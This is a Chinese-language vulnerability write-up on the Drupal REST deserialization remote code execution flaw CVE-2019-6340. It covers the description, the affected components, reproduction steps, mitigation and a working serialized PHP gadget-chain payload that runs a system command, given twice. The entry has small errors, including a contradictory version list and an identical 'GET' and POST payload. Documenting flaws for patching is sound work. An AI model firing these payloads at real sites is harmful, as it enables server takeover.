# 2.18.1 CVE-2019-6340l

## 漏洞名称

Drupal 远程代码执行漏洞（CVE-2019-6340l）

## 漏洞等级

高危

## 漏洞描述

漏洞是由Drupal 未对 RESTful Web 的数据进行严格效验造成。如果网站开启了RESTful Web服务，并且接受PATCH 、 POST请求，或站点中开启了其他web服务模块，将会出现反序列化问题，进而造成代码执行。 漏洞利用需要多个前置条件，大大削弱了漏洞实际影响。

## 漏洞影响

* Drupal 8.6.9 及以下版本
* Drupal 8.6.10 及以下版本

影响组件

* RESTful Web Services
* JSON:API
* Link
* Metatag
* Video
* Paragraphs
* Translation Management Tool
* Font Awesome lcons

## 漏洞复现

我们使用精益助手进行发包，当然是用burp也是一样

![](https://i.screenshot.net/890rxb3)

回显中得到执行后的结果

GET型payload如下

```

{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://localhost:8080/rest/type/shortcut/default"
    }
  }
}'

```

POST型如下：

```

{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://localhost:8080/rest/type/shortcut/default"
    }
  }
}'


```

## 漏洞修复

对于该漏洞，可以禁用所有Web服务模块，或禁止处理PUT / PATCH / POST请求进行缓解。 因为影响核心组件，强烈建议广大用户按需进行版本升级，更新地址：

* [https://www.drupal.org/project/drupal/releases/8.6.10](https://www.drupal.org/project/drupal/releases/8.6.10)
* [https://www.drupal.org/project/drupal/releases/8.6.10](https://www.drupal.org/project/drupal/releases/8.6.10)
* [https://www.drupal.org/security/contrib](https://www.drupal.org/security/contrib)
